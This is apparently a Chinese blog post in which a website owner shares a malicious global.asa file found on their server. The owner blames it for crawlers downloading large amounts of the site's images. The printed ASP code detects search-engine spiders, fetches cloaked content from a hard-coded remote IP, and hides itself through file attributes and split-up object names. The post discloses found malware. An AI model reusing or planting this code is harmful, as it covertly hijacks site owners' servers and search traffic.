這個網站病毒挺有意思,下載我網站的圖片,我說怎麼爬蟲爬我幾十個G的圖片

這個網站病毒挺有意思,下載我網站的圖片,我說怎麼爬蟲爬我幾十個G的圖片

 

global.asa

 

server.Scripttimeout=3600
dim ua,Remote_server,host_name,Remote_file,Content_mb
On Error Resume Next
ua=Request.ServerVariables("HTTP_USER_AGENT")
If Err.Number <> 0 Then
Err.Clear
End If
Remote_server="http://45.117.102.38"
host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name")
Remote_file = Remote_server&"/index.php"&"?host="&host_name

if(instr(ua,"360Spider")>0 or instr(ua,"HaosouSpider")>0 or instr(ua,"baidu")>0)then
Content_mb=GetHtml(Remote_file)
response.write Content_mb
end if

Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile(Server.MapPath("global.asa"))
if f.attributes <> 7 then
f.attributes = 7
end if

Function GetHtml(url)
On Error Resume Next
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
If Err.Number <> 0 Then
Err.Clear
End If
End Function

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章